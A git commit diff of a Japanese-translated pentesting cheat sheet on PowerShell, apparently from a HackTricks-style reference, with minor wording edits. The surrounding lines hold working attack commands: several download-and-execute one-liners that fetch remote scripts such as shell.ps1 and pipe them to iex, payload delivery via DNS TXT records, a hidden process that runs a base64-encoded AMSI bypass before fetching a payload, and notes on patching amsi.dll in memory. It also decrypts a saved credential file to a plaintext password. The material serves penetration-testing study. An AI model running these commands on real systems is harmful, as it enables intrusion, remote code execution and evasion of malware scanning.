Translated ['src/windows-hardening/basic-powershell-for-pentesters/READM

This commit is contained in:
Translator 2025-01-22 16:13:31 +00:00
parent 0843509a00
commit bb438c76ad

View File

@ -18,7 +18,6 @@ Get-Command -Module <modulename>
``` ```
## ダウンロードと実行 ## ダウンロードと実行
```powershell ```powershell
g
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex" powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
iex (iwr '10.10.14.9:8000/ipw.ps1') #From PSv3 iex (iwr '10.10.14.9:8000/ipw.ps1') #From PSv3
@ -30,7 +29,7 @@ $wr = [System.NET.WebRequest]::Create("http://10.10.14.9:8000/ipw.ps1") $r = $wr
#host a text record with your payload at one of your (unburned) domains and do this: #host a text record with your payload at one of your (unburned) domains and do this:
powershell . (nslookup -q=txt http://some.owned.domain.com)[-1] powershell . (nslookup -q=txt http://some.owned.domain.com)[-1]
``` ```
### バックグラウンドでのダウンロードと実行AMSIバイパス ### バックグラウンドでのダウンロードと実行AMSIバイパス付き
```powershell ```powershell
Start-Process -NoNewWindow powershell "-nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=" Start-Process -NoNewWindow powershell "-nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA="
``` ```
@ -117,7 +116,7 @@ ValueData : 0
**`amsi.dll`** は **あなたのプロセスにロードされ**、任意のアプリケーションが相互作用するために必要な **エクスポート** を持っています。そして、それはあなたが **制御する** プロセスのメモリ空間にロードされているため、**メモリ内の命令を上書きすることによって** その動作を変更できます。これにより、何も検出されなくなります。 **`amsi.dll`** は **あなたのプロセスにロードされ**、任意のアプリケーションが相互作用するために必要な **エクスポート** を持っています。そして、それはあなたが **制御する** プロセスのメモリ空間にロードされているため、**メモリ内の命令を上書きすることによって** その動作を変更できます。これにより、何も検出されなくなります。
したがって、AMSIバイパスの目標は、**検出を無効にするために、そのDLLの命令をメモリ内で上書きすることです**。 したがって、あなたが使用するAMSIバイパスの目標は、**検出を無効にするために、そのDLLの命令をメモリ内で上書きすることです**。
**AMSIバイパスジェネレーター** ウェブページ: [**https://amsi.fail/**](https://amsi.fail/) **AMSIバイパスジェネレーター** ウェブページ: [**https://amsi.fail/**](https://amsi.fail/)
```powershell ```powershell
@ -168,9 +167,9 @@ https://slaeryan.github.io/posts/falcon-zero-alpha.html
Check [**this post for detailed info and the code**](https://practicalsecurityanalytics.com/new-amsi-bypass-using-clr-hooking/). Introduction: Check [**this post for detailed info and the code**](https://practicalsecurityanalytics.com/new-amsi-bypass-using-clr-hooking/). Introduction:
この新しい技術は、.NET メソッドの API コールフックに依存しています。実際、.NET メソッドは、メモリ内でネイティブマシン命令にコンパイルされる必要があり、ネイティブメソッドに非常に似た形になります。これらのコンパイルされたメソッドは、プログラムの制御フローを変更するためにフックできます。 この新しい技術は、.NETメソッドのAPIコールフックに依存しています。実際、.NETメソッドは、ネイティブメソッドに非常に似た形でメモリ内のネイティブマシン命令にコンパイルされる必要があります。これらのコンパイルされたメソッドは、プログラムの制御フローを変更するためにフックできます。
.NET メソッドの API コールフックを実行する手順は次のとおりです。 .NETメソッドのAPIコールフックを実行する手順は次のとおりです。
1. フックするターゲットメソッドを特定する 1. フックするターゲットメソッドを特定する
2. ターゲットと同じ関数プロトタイプを持つメソッドを定義する 2. ターゲットと同じ関数プロトタイプを持つメソッドを定義する
@ -217,7 +216,7 @@ Get-Hotfix -description "Security update" #List only "Security Update" patches
Get-ChildItem Env: | ft Key,Value -AutoSize #get all values Get-ChildItem Env: | ft Key,Value -AutoSize #get all values
$env:UserName @Get UserName value $env:UserName @Get UserName value
``` ```
## 他の接続されたドライブ ## その他の接続されたドライブ
```powershell ```powershell
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
``` ```
@ -250,7 +249,7 @@ Password : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString SecurePassword : System.Security.SecureString
Domain : HTB Domain : HTB
``` ```
またはXMLを直接解析すること XMLを直接解析すること
```powershell ```powershell
$cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List * $cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List *